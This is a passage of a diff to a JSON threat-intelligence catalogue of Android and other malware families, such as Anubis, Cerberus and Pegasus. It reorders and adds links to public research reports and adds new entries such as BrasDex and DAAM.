"https://www.cisa.gov/uscert/sites/default/files/publications/AA22-108A-TraderTraitor-North_Korea_APT_Targets_Blockchain_Companies.pdf", "https://www.youtube.com/watch?v=LUxOcpIRxmg", + "https://www.cisa.gov/uscert/ncas/alerts/aa20-239a", "https://i.blackhat.com/eu-20/Wednesday/eu-20-Rivera-From-Zero-To-Sixty-The-Story-Of-North-Koreas-Rapid-Ascent-To-Becoming-A-Global-Cyber-Superpower.pdf", + "https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/", + "https://www.us-cert.gov/ncas/alerts/TA18-275A", + "https://www.youtube.com/watch?v=zGvQPtejX9w", + "https://i.blackhat.com/USA-20/Wednesday/us-20-Perlow-FASTCash-And-INJX_Pure-How-Threat-Actors-Use-Public-Standards-For-Financial-Fraud.pdf", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-108A-TraderTraitor-North_Korea_APT_Targets_Blockchain_Companies.pdf", + "https://www.symantec.com/blogs/threat-intelligence/fastcash-lazarus-atm-malware", + "https://github.com/fboldewin/FastCashMalwareDissected/", + "https://i.blackhat.com/USA-20/Wednesday/us-20-Perlow-FASTCash-And-INJX_Pure-How-Threat-Actors-Use-Public-Standards-For-Financial-Fraud-wp.pdf", + "https://threatrecon.nshc.net/2019/01/23/sectora01-custom-proxy-utility-tool-analysis/", + "https://blog.talosintelligence.com/2019/05/10-years-of-virtual-dynamite.html", + "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/fastcash-lazarus-atm-malware", - "https://www.symantec.com/blogs/threat-intelligence/fastcash-lazarus-atm-malware" + "https://www.cisa.gov/uscert/ncas/alerts/TA18-275A" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "e306fe62-c708-11e8-89f2-073e396e5403", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "e8a04177-6a91-46a6-9f63-6a9fac4dfa02", "value": "FastCash" }, @@ -70,12 +61,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.aberebot", - "https://twitter.com/_icebre4ker_/status/1460527428544176128", "https://blog.cyble.com/2022/03/10/aberebot-returns-as-escobar/", + "https://twitter.com/_icebre4ker_/status/1460527428544176128", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", "https://hothardware.com/news/escobar-banking-trojan-targets-mfa-codes", "https://www.bleepingcomputer.com/news/security/android-malware-escobar-steals-your-google-authenticator-mfa-codes/", - "https://blog.cyble.com/2021/07/30/aberebot-on-the-rise-new-banking-trojan-targeting-users-through-phishing/", - "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord" + "https://blog.cyble.com/2021/07/30/aberebot-on-the-rise-new-banking-trojan-targeting-users-through-phishing/" ], "synonyms": [ "Escobar" @@ -91,8 +82,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.abstract_emu", "https://www.sentinelone.com/labs/the-art-and-science-of-macos-malware-hunting-with-radare2-leveraging-xrefs-yara-and-zignatures/", - "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", - "https://blog.lookout.com/lookout-discovers-global-rooting-malware-campaign" + "https://blog.lookout.com/lookout-discovers-global-rooting-malware-campaign", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord" ], "synonyms": [], "type": [] @@ -106,8 +97,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.actionspy", "https://blog.trendmicro.com/trendlabs-security-intelligence/new-android-spyware-actionspy-revealed-via-phishing-attacks-from-earth-empusa/", - "https://about.fb.com/news/2021/03/taking-action-against-hackers-in-china/", - "https://www.trendmicro.com/en_us/research/20/f/new-android-spyware-actionspy-revealed-via-phishing-attacks-from-earth-empusa.html" + "https://www.trendmicro.com/en_us/research/20/f/new-android-spyware-actionspy-revealed-via-phishing-attacks-from-earth-empusa.html", + "https://about.fb.com/news/2021/03/taking-action-against-hackers-in-china/" ], "synonyms": [ "AxeSpy" @@ -149,10 +140,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.ahmyth", + "https://mp.weixin.qq.com/s/J_A12SOX0k5TOYFAegBv_w", "https://securelist.com/transparent-tribe-part-2/98233/", "https://www.secrss.com/articles/24995", - "https://www.welivesecurity.com/2019/08/22/first-spyware-android-ahmyth-google-play/", - "https://www.stratosphereips.org/blog/2020/11/10/android-mischief-rats-dataset" + "https://www.stratosphereips.org/blog/2020/11/10/android-mischief-rats-dataset", + "https://www.welivesecurity.com/2019/08/22/first-spyware-android-ahmyth-google-play/" ], "synonyms": [], "type": [] @@ -166,14 +158,17 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.alien", "https://www.threatfabric.com/blogs/deceive-the-heavens-to-cross-the-sea.html", - "https://www.threatfabric.com/blogs/alien_the_story_of_cerberus_demise.html", "https://info.phishlabs.com/blog/alien-mobile-malware-evades-detection-increases-targets", - "https://www.checkpoint.com/press/2022/march-2022s-most-wanted-malware-easter-phishing-scams-help-emotet-assert-its-dominance/", - "https://www.bleepingcomputer.com/news/security/google-predator-spyware-infected-android-devices-using-zero-days/", "https://preyproject.com/blog/en/cerberus-and-alien-the-malware-that-has-put-android-in-a-tight-spot/", + "https://www.threatfabric.com/blogs/alien_the_story_of_cerberus_demise.html", "https://drive.google.com/file/d/1qd7Nqjhe2vyGZ5bGm6gVw0mM1D6YDolu/view?usp=sharing", + "https://www.bleepingcomputer.com/news/security/google-predator-spyware-infected-android-devices-using-zero-days/", "https://research.checkpoint.com/2021/clast82-a-new-dropper-on-google-play-dropping-the-alienbot-banker-and-mrat/", - "https://www.prodaft.com/m/reports/BrunHilda_DaaS.pdf" + "https://twitter.com/_CPResearch_/status/1603375823448317953", + "https://www.prodaft.com/m/reports/BrunHilda_DaaS.pdf", + "https://www.checkpoint.com/press/2022/march-2022s-most-wanted-malware-easter-phishing-scams-help-emotet-assert-its-dominance/", + "https://resecurity.com/blog/article/in-the-box-mobile-malware-webinjects-marketplace", + "https://muha2xmad.github.io/malware-analysis/alien/" ], "synonyms": [ "AlienBot" @@ -205,22 +200,22 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.anatsa", - "https://twitter.com/_icebre4ker_/status/1416409813467156482", "https://www.threatfabric.com/blogs/deceive-the-heavens-to-cross-the-sea.html", - "https://gbhackers.com/teabot-banking-trojan/", - "https://blog.nviso.eu/2021/05/11/android-overlay-attacks-on-belgian-financial-applications/", "https://twitter.com/ThreatFabric/status/1394958795508523008", - "https://www.bitdefender.com/blog/labs/new-flubot-and-teabot-global-malware-campaigns-discovered", - "https://www.cleafy.com/cleafy-labs/teabot-is-now-spreading-across-the-globe", + "https://blog.nviso.eu/2021/05/11/android-overlay-attacks-on-belgian-financial-applications/", "https://thehackernews.com/2022/01/widespread-flubot-and-teabot-malware.html", - "https://www.prodaft.com/m/reports/Toddler___TLPWHITE_V2.pdf", + "https://twitter.com/_icebre4ker_/status/1416409813467156482", + "https://www.bitdefender.com/blog/labs/new-flubot-and-teabot-global-malware-campaigns-discovered", + "https://gbhackers.com/teabot-banking-trojan/", + "https://www.cleafy.com/cleafy-labs/teabot-is-now-spreading-across-the-globe", "https://www.telekom.com/en/blog/group/article/flubot-under-the-microscope-636368", - "https://labs.k7computing.com/?p=22407", - "https://labs.bitdefender.com/2021/06/threat-actors-use-mockups-of-popular-apps-to-spread-teabot-and-flubot-malware-on-android/", + "https://labs.k7computing.com/index.php/play-store-app-serves-teabot-via-github/", "https://www.threatfabric.com/blogs/smishing-campaign-in-nl-spreading-cabassous-and-anatsa.html", + "https://www.prodaft.com/m/reports/Toddler___TLPWHITE_V2.pdf", "https://www.cleafy.com/documents/teabot", + "https://labs.bitdefender.com/2021/06/threat-actors-use-mockups-of-popular-apps-to-spread-teabot-and-flubot-malware-on-android/", "https://www.buguroo.com/hubfs/website/pdf/reports/buguroo-malware-report-Toddler_EN.pdf", - "https://labs.k7computing.com/index.php/play-store-app-serves-teabot-via-github/" + "https://labs.k7computing.com/?p=22407" ], "synonyms": [ "ReBot", @@ -237,15 +232,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.androrat", - "https://www.stratosphereips.org/blog/2021/3/29/dissecting-a-rat-analysis-of-the-androrat", "https://github.com/DesignativeDave/androrat", "https://www.stratosphereips.org/blog/2020/11/10/android-mischief-rats-dataset", - "https://www.bitdefender.com/files/News/CaseStudies/study/352/Bitdefender-PR-Whitepaper-BitterAPT-creat4571-en-EN-GenericUse.pdf", + "https://www.stratosphereips.org/blog/2021/3/29/dissecting-a-rat-analysis-of-the-androrat", "https://hotforsecurity.bitdefender.com/blog/possibly-italy-born-android-rat-reported-in-china-find-bitdefender-researchers-16264.html", - "https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html", - "https://www.kaspersky.com/blog/mobile-malware-part-4/24290/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/the-urpage-connection-to-bahamut-confucius-and-patchwork/", "https://www.stratosphereips.org/blog/2021/5/6/dissecting-a-rat-analysis-of-the-command-line-androrat", + "https://blog.trendmicro.com/trendlabs-security-intelligence/the-urpage-connection-to-bahamut-confucius-and-patchwork/", + "https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html", + "https://www.bitdefender.com/files/News/CaseStudies/study/352/Bitdefender-PR-Whitepaper-BitterAPT-creat4571-en-EN-GenericUse.pdf", + "https://www.kaspersky.com/blog/mobile-malware-part-4/24290/", "https://mp.weixin.qq.com/s/AhxP5HmROtMsFBiUxj0cFg" ], "synonyms": [], @@ -259,34 +254,34 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.anubis", - "http://b0n1.blogspot.de/2017/05/tracking-android-bankbot.html", - "https://www.youtube.com/watch?v=U0UsfO-0uJM", - "https://sysopfb.github.io/malware,/reverse-engineering/2018/08/30/Unpacking-Anubis-APK.html", - "https://securityintelligence.com/after-big-takedown-efforts-20-more-bankbot-mobile-malware-apps-make-it-into-google-play/", - "https://muha2xmad.github.io/malware-analysis/anubis/", - "https://eybisi.run/Mobile-Malware-Analysis-Tricks-used-in-Anubis/", - "http://blog.koodous.com/2017/05/bankbot-on-google-play.html", - "https://securelist.com/mobile-malware-evolution-2019/96280/", - "https://pentest.blog/n-ways-to-unpack-mobile-malware/", - "https://securityaffairs.co/wordpress/133115/hacking/anubis-networks-new-c2.html", - "https://assets.virustotal.com/reports/2021trends.pdf", - "https://www.threatfabric.com/blogs/the-rage-of-android-banking-trojans.html", - "https://bushidotoken.blogspot.com/2020/05/turkey-targeted-by-cerberus-and-anubis.html", - "https://n1ght-w0lf.github.io/malware%20analysis/anubis-banking-malware/", - "https://info.phishlabs.com/blog/new-variant-bankbot-banking-trojan-aubis", - "https://intel471.com/blog/china-cybercrime-undergrond-deepmix-tea-horse-road-great-firewall/", "https://www.fortinet.com/blog/threat-research/a-look-into-the-new-strain-of-bankbot.html", - "https://blog.trendmicro.com/trendlabs-security-intelligence/google-play-apps-drop-anubis-banking-malware-use-motion-based-evasion-tactics/", - "http://blog.koodous.com/2017/04/decrypting-bankbot-communications.html", + "https://sysopfb.github.io/malware,/reverse-engineering/2018/08/30/Unpacking-Anubis-APK.html", + "https://eybisi.run/Mobile-Malware-Analysis-Tricks-used-in-Anubis/", "https://0x1c3n.tech/anubis-android-malware-analysis", - "https://www.threatfabric.com/blogs/2020_year_of_the_rat.html", + "https://securelist.com/mobile-malware-evolution-2019/96280/", + "https://www.threatfabric.com/blogs/the-rage-of-android-banking-trojans.html", + "https://blog.trendmicro.com/trendlabs-security-intelligence/google-play-apps-drop-anubis-banking-malware-use-motion-based-evasion-tactics/", + "https://pentest.blog/n-ways-to-unpack-mobile-malware/", "https://www.welivesecurity.com/2017/11/21/new-campaigns-spread-banking-malware-google-play/", + "http://blog.koodous.com/2017/04/decrypting-bankbot-communications.html", "https://securityboulevard.com/2018/09/android-malware-intercepts-sms-2fa-we-have-the-logs/", + "http://blog.koodous.com/2017/05/bankbot-on-google-play.html", + "https://securityaffairs.co/wordpress/133115/hacking/anubis-networks-new-c2.html", + "https://labs.bitdefender.com/2020/03/android-apps-and-malware-capitalize-on-coronavirus", + "https://intel-honey.medium.com/reversing-anubis-malware-93f28d154bbb", + "https://securityboulevard.com/2018/09/android-malware-intercepts-sms-2fa-we-have-the-logs/ ", + "https://intel471.com/blog/china-cybercrime-undergrond-deepmix-tea-horse-road-great-firewall/", + "https://securityintelligence.com/after-big-takedown-efforts-20-more-bankbot-mobile-malware-apps-make-it-into-google-play/", + "https://bushidotoken.blogspot.com/2020/05/turkey-targeted-by-cerberus-and-anubis.html", + "https://muha2xmad.github.io/malware-analysis/anubis/", + "http://b0n1.blogspot.de/2017/05/tracking-android-bankbot.html", + "https://www.threatfabric.com/blogs/2020_year_of_the_rat.html", "https://community.riskiq.com/article/85b3db8c", "https://www.fortinet.com/blog/threat-research/bankbot-the-prequel.html", - "https://securityboulevard.com/2018/09/android-malware-intercepts-sms-2fa-we-have-the-logs/ ", - "https://labs.bitdefender.com/2020/03/android-apps-and-malware-capitalize-on-coronavirus", - "https://intel-honey.medium.com/reversing-anubis-malware-93f28d154bbb" + "https://n1ght-w0lf.github.io/malware%20analysis/anubis-banking-malware/", + "https://www.youtube.com/watch?v=U0UsfO-0uJM", + "https://info.phishlabs.com/blog/new-variant-bankbot-banking-trojan-aubis", + "https://assets.virustotal.com/reports/2021trends.pdf" ], "synonyms": [ "BankBot", @@ -303,8 +298,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.anubisspy", - "http://blog.trendmicro.com/trendlabs-security-intelligence/cyberespionage-campaign-sphinx-goes-mobile-anubisspy/", - "https://documents.trendmicro.com/assets/tech-brief-cyberespionage-campaign-sphinx-goes-mobile-with-anubisspy.pdf" + "https://documents.trendmicro.com/assets/tech-brief-cyberespionage-campaign-sphinx-goes-mobile-with-anubisspy.pdf", + "http://blog.trendmicro.com/trendlabs-security-intelligence/cyberespionage-campaign-sphinx-goes-mobile-anubisspy/" ], "synonyms": [], "type": [] @@ -317,8 +312,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.asacub", - "https://securelist.com/mobile-malware-evolution-2019/96280/", - "https://securelist.com/the-rise-of-mobile-banker-asacub/87591/" + "https://securelist.com/the-rise-of-mobile-banker-asacub/87591/", + "https://securelist.com/mobile-malware-evolution-2019/96280/" ], "synonyms": [], "type": [] @@ -385,12 +380,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.bahamut", - "https://mp.weixin.qq.com/s/YAAybJBAvxqrQWYDg31BBw", - "https://blog.trendmicro.com/trendlabs-security-intelligence/the-urpage-connection-to-bahamut-confucius-and-patchwork/", "https://www.bellingcat.com/resources/case-studies/2017/10/27/bahamut-revisited-cyber-espionage-middle-east-south-asia/", "https://www.bellingcat.com/news/mena/2017/06/12/bahamut-pursuing-cyber-espionage-actor-middle-east/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/the-urpage-connection-to-bahamut-confucius-and-patchwork/", + "https://blog.cyble.com/2022/06/29/bahamut-android-malware-returns-with-new-spying-capabilities/", + "https://www.welivesecurity.com/2022/11/23/bahamut-cybermercenary-group-targets-android-users-fake-vpn-apps/", "https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-spark-bahamut.pdf", - "https://blog.cyble.com/2022/06/29/bahamut-android-malware-returns-with-new-spying-capabilities/" + "https://mp.weixin.qq.com/s/YAAybJBAvxqrQWYDg31BBw" ], "synonyms": [], "type": [] @@ -404,8 +400,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.basbanke", "https://securelist.com/basbanke-trend-setting-brazilian-banking-trojan/90365/", - "https://twitter.com/LukasStefanko/status/1280243673100402690", - "https://seguranca-informatica.pt/hackers-are-again-attacking-portuguese-banking-organizations-via-android-trojan-banker/#.YHTDZS2tEUE" + "https://seguranca-informatica.pt/hackers-are-again-attacking-portuguese-banking-organizations-via-android-trojan-banker/#.YHTDZS2tEUE", + "https://twitter.com/LukasStefanko/status/1280243673100402690" ], "synonyms": [], "type": [] @@ -418,13 +414,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.bianlian", + "https://www.threatfabric.com/blogs/bianlian_from_rags_to_riches_the_malware_dropper_that_had_a_dream.html", + "https://www.youtube.com/watch?v=DPFcvSy4OZk", "https://cryptax.medium.com/multidex-trick-to-unpack-android-bianlian-ed52eb791e56", "https://www.fortinet.com/blog/threat-research/new-wave-bianlian-malware.html", - "https://www.threatfabric.com/blogs/bianlian_from_rags_to_riches_the_malware_dropper_that_had_a_dream.html", - "https://cryptax.medium.com/android-bianlian-payload-61febabed00a", "https://cryptax.medium.com/creating-a-safe-dummy-c-c-to-test-android-bots-ffa6e7a3dce5", - "https://cryptax.medium.com/quick-look-into-a-new-sample-of-android-bianlian-bc5619efa726", - "https://cryptax.medium.com/bianlian-c-c-domain-name-4f226a29e221" + "https://cryptax.medium.com/bianlian-c-c-domain-name-4f226a29e221", + "https://cryptax.medium.com/android-bianlian-payload-61febabed00a", + "https://cryptax.medium.com/quick-look-into-a-new-sample-of-android-bianlian-bc5619efa726" ], "synonyms": [ "Hydra" @@ -432,19 +429,32 @@ "type": [] }, "uuid": "1faaa5c5-ab4e-4101-b2d9-0e12207d70fc", - "value": "BianLian" + "value": "BianLian (Android)" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.brasdex", + "https://www.threatfabric.com/blogs/brasdex-a-new-brazilian-ats-malware.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "dc5408e9-e9e8-44fd-ac5c-231483d0ebe3", + "value": "BrasDex" }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.brata", - "https://www.threatfabric.com/blogs/brata-a-tale-of-three-families.html", "https://securelist.com/spying-android-rat-from-brazil-brata/92775/", - "https://www.advintel.io/post/economic-growth-digital-inclusion-specialized-crime-financial-cyber-fraud-in-latam", - "https://www.cleafy.com/cleafy-labs/mobile-banking-fraud-brata-strikes-again", "https://www.cleafy.com/cleafy-labs/how-brata-is-monitoring-your-bank-account", - "https://www.cleafy.com/cleafy-labs/brata-is-evolving-into-an-advanced-persistent-threat" + "https://www.advintel.io/post/economic-growth-digital-inclusion-specialized-crime-financial-cyber-fraud-in-latam", + "https://www.threatfabric.com/blogs/brata-a-tale-of-three-families.html", + "https://www.cleafy.com/cleafy-labs/brata-is-evolving-into-an-advanced-persistent-threat", + "https://www.cleafy.com/cleafy-labs/mobile-banking-fraud-brata-strikes-again" ], "synonyms": [ "AmexTroll" @@ -459,6 +469,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.brunhilda", + "https://www.cleafy.com/cleafy-labs/the-android-malwares-journey-from-google-play-to-banking-fraud", + "https://www.threatfabric.com/blogs/the-attack-of-the-droppers.html", "https://www.prodaft.com/m/reports/BrunHilda_DaaS.pdf" ], "synonyms": [], @@ -485,6 +497,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.capra_rat", + "https://www.welivesecurity.com/2023/03/07/love-scam-espionage-transparent-tribe-lures-indian-pakistani-officials/", "https://www.trendmicro.com/en_us/research/22/a/investigating-apt36-or-earth-karkaddans-attack-chain-and-malware.html" ], "synonyms": [], @@ -525,25 +538,26 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.cerberus", - "https://insights.oem.avira.com/in-depth-analysis-of-a-cerberus-trojan-variant/", - "https://labs.bitdefender.com/2020/09/apps-on-google-play-tainted-with-cerberus-banker-malware/", - "https://nur.pub/cerberus-analysis", - "https://securelist.com/the-state-of-stalkerware-in-2021/106193/", - "https://www.threatfabric.com/blogs/alien_the_story_of_cerberus_demise.html", - "https://www.forbes.com/sites/zakdoffman/2019/08/16/dangerous-new-android-trojan-hides-from-malware-researchers-and-taunts-them-on-twitter/", - "https://go.recordedfuture.com/hubfs/reports/cta-2020-1016.pdf", - "https://bushidotoken.blogspot.com/2020/05/turkey-targeted-by-cerberus-and-anubis.html", - "https://www.threatfabric.com/blogs/ermac-another-cerberus-reborn.html", "https://www.biznet.com.tr/wp-content/uploads/2020/08/Cerberus.pdf", - "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/04/12075509/EN_The-State-of-Stalkerware-2021.pdf", - "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", - "https://twitter.com/AndroidCerberus", - "https://blog.cyberint.com/cerberus-is-dead-long-live-cerberus", - "https://preyproject.com/blog/en/cerberus-and-alien-the-malware-that-has-put-android-in-a-tight-spot/", - "https://github.com/ics-iot-bootcamp/cerberus_research", + "https://go.recordedfuture.com/hubfs/reports/cta-2020-1016.pdf", + "https://www.threatfabric.com/blogs/ermac-another-cerberus-reborn.html", "https://www.threatfabric.com/blogs/cerberus-a-new-banking-trojan-from-the-underworld.html", + "https://nur.pub/cerberus-analysis", + "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", + "https://securelist.com/the-state-of-stalkerware-in-2021/106193/", + "https://blog.cyberint.com/cerberus-is-dead-long-live-cerberus", + "https://labs.bitdefender.com/2020/09/apps-on-google-play-tainted-with-cerberus-banker-malware/", + "https://insights.oem.avira.com/in-depth-analysis-of-a-cerberus-trojan-variant/", + "https://bushidotoken.blogspot.com/2020/05/turkey-targeted-by-cerberus-and-anubis.html", + "https://github.com/ics-iot-bootcamp/cerberus_research", + "https://www.forbes.com/sites/zakdoffman/2019/08/16/dangerous-new-android-trojan-hides-from-malware-researchers-and-taunts-them-on-twitter/", + "https://preyproject.com/blog/en/cerberus-and-alien-the-malware-that-has-put-android-in-a-tight-spot/", "https://www.threatfabric.com/blogs/2020_year_of_the_rat.html", - "https://community.riskiq.com/article/85b3db8c" + "https://www.threatfabric.com/blogs/alien_the_story_of_cerberus_demise.html", + "https://community.riskiq.com/article/85b3db8c", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/04/12075509/EN_The-State-of-Stalkerware-2021.pdf", + "https://twitter.com/AndroidCerberus", + "https://resecurity.com/blog/article/in-the-box-mobile-malware-webinjects-marketplace" ], "synonyms": [], "type": [] @@ -571,9 +585,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.charger", - "http://blog.checkpoint.com/2017/01/24/charger-malware/", + "http://blog.joesecurity.org/2017/01/deep-analysis-of-android-ransom-charger.html", "https://www.welivesecurity.com/wp-content/uploads/2019/02/ESET_Android_Banking_Malware.pdf", - "http://blog.joesecurity.org/2017/01/deep-analysis-of-android-ransom-charger.html" + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-recap-january-14-29-2017", + "http://blog.checkpoint.com/2017/01/24/charger-malware/" ], "synonyms": [], "type": [] @@ -586,8 +601,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.chinotto", - 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"https://cybergeeks.tech/a-technical-analysis-of-pegasus-for-android-part-1" + "https://www.bleepingcomputer.com/news/security/google-predator-spyware-infected-android-devices-using-zero-days/", + "https://www.theguardian.com/world/2021/jul/18/revealed-leak-uncovers-global-abuse-of-cyber-surveillance-weapon-nso-group-pegasus", + "https://forbiddenstories.org/pegasus-the-new-global-weapon-for-silencing-journalists/", + "https://thewire.in/rights/sar-geelani-pegasus-spyware-phone-messages", + "https://twitter.com/alexanderjaeger/status/1417447732030189569", + "https://www.vice.com/en/article/xgx5bw/amazon-aws-shuts-down-nso-group-infrastructure", + "https://www.washingtonpost.com/technology/2021/07/18/reactions-pegasus-project-nso/", + "https://www.washingtonpost.com/investigations/2021/07/18/takeaways-nso-pegasus-project/", + "https://unit42.paloaltonetworks.com/strategically-aged-domain-detection/", + "https://www.amnesty.org/en/latest/research/2021/07/forensic-methodology-report-how-to-catch-nso-groups-pegasus/", + "https://citizenlab.ca/2021/12/pegasus-vs-predator-dissidents-doubly-infected-iphone-reveals-cytrox-mercenary-spyware/", + "https://www.amnesty.org/en/latest/news/2021/07/the-pegasus-project/", + "https://www.reuters.com/technology/how-saudi-womans-iphone-revealed-hacking-around-world-2022-02-17/", + "https://www.theguardian.com/news/2021/jul/18/revealed-murdered-journalist-number-selected-mexico-nso-client-cecilio-pineda-birto", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://arkadiyt.com/2021/07/25/scanning-your-iphone-for-nso-group-pegasus-malware/", + "https://thewire.in/government/indian-army-bsf-raw-pegasus-spyware-threat", + "https://twitter.com/billmarczak/status/1416801439402262529", + "https://www.washingtonpost.com/technology/2021/07/19/apple-iphone-nso/", + "https://citizenlab.ca/2020/01/stopping-the-press-new-york-times-journalist-targeted-by-saudi-linked-pegasus-spyware-operator/", + "https://media.ccc.de/v/33c3-7901-pegasus_internals", + "https://threatpost.com/nso-pegasus-spyware-bans-apple-accountability/167965/", + "https://citizenlab.ca/2021/08/bahrain-hacks-activists-with-nso-group-zero-click-iphone-exploits/", + "https://cybergeeks.tech/a-technical-analysis-of-pegasus-for-android-part-3/", + "https://objective-see.com/blog/blog_0x67.html", + "https://www.theguardian.com/world/2021/jul/18/nso-spyware-used-to-target-family-of-jamal-khashoggi-leaked-data-shows-saudis-pegasus", + "https://zetter.substack.com/p/pegasus-spyware-how-it-works-and", + "https://cybergeeks.tech/a-technical-analysis-of-pegasus-for-android-part-1", + "https://www.washingtonpost.com/investigations/interactive/2021/nso-spyware-pegasus-cellphones/", + "https://irpimedia.irpi.eu/sorveglianze-cy4gate/", + "https://www.trendmicro.com/en_us/research/21/i/analyzing-pegasus-spywares-zero-click-iphone-exploit-forcedentry.html", + "https://cybergeeks.tech/a-technical-analysis-of-pegasus-for-android-part-2/", + "https://thewire.in/government/project-pegasus-journalists-ministers-activists-phones-spying", + "https://blog.zecops.com/research/the-recent-ios-0-click-cve-2021-30860-sounds-familiar-an-unreleased-write-up-one-year-later/", + "https://www.amnesty.org/en/latest/research/2021/07/forensic-methodology-report-appendix-d/", + "https://citizenlab.ca/2022/04/peace-through-pegasus-jordanian-human-rights-defenders-and-journalists-hacked-with-pegasus-spyware/", + "https://forbiddenstories.org/the-pegasus-project-a-worldwide-collaboration-to-counter-a-global-crime/", + "https://lifars.com/2022/01/forensics-analysis-of-the-nso-groups-pegasus-spyware/", + "https://thewire.in/media/pegasus-project-spyware-indian-journalists", + "https://android-developers.googleblog.com/2017/04/an-investigation-of-chrysaor-malware-on.html", + "https://forbiddenstories.org/about-the-pegasus-project/", + "https://www.theguardian.com/news/2021/jul/18/viktor-orban-using-nso-spyware-in-assault-on-media-data-suggests", + "https://github.com/AmnestyTech/investigations/tree/master/2021-07-18_nso", + "https://www.bleepingcomputer.com/news/security/iphones-running-latest-ios-hacked-to-deploy-nso-group-spyware/", + "https://citizenlab.ca/2021/07/amnesty-peer-review/", + "https://citizenlab.ca/2018/09/hide-and-seek-tracking-nso-groups-pegasus-spyware-to-operations-in-45-countries/", + "https://citizenlab.ca/2021/11/palestinian-human-rights-defenders-hacked-nso-groups-pegasus-spyware/", + "https://www.theguardian.com/news/series/pegasus-project", + "https://www.washingtonpost.com/world/2021/07/19/india-nso-pegasus/", + "https://www.cybertrends.it/pegasus-lo-spyware-per-smartphone-come-funziona-e-come-ci-si-puo-proteggere/", + "https://twitter.com/HackSysTeam/status/1418223814387765258?s=20" ], "synonyms": [ "JigglyPuff", @@ -668,15 +685,6 @@ ], "type": [] }, - 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"https://twitter.com/sekoia_io/status/1554086468104196096" + "https://twitter.com/sekoia_io/status/1554086468104196096", + "https://blog.google/threat-analysis-group/continued-cyber-activity-in-eastern-europe-observed-by-tag" ], "synonyms": [], "type": [] @@ -831,6 +840,19 @@ "uuid": "bb1821f9-eace-4e63-b55d-fc7821a6e5f1", "value": "CyberAzov" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.daam", + "https://blog.cyble.com/2023/04/20/daam-android-botnet-being-distributed-through-trojanized-applications/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "37a3b62e-99da-47d7-81fb-78f745427b16", + "value": "DAAM" + }, { "description": "", "meta": { @@ -893,9 +915,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.dmsspy", + "https://securelist.com/ios-exploit-chain-deploys-lightspy-malware/96407/", "https://blog.trendmicro.com/trendlabs-security-intelligence/operation-poisoned-news-hong-kong-users-targeted-with-mobile-malware-via-local-news-links/", - "https://documents.trendmicro.com/assets/Tech-Brief-Operation-Poisoned-News-Hong-Kong-Users-Targeted-with-Mobile-Malware-via-Local-News-Links.pdf", - "https://securelist.com/ios-exploit-chain-deploys-lightspy-malware/96407/" + "https://documents.trendmicro.com/assets/Tech-Brief-Operation-Poisoned-News-Hong-Kong-Users-Targeted-with-Mobile-Malware-via-Local-News-Links.pdf" ], "synonyms": [], "type": [] @@ -986,8 +1008,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.dvmap", - 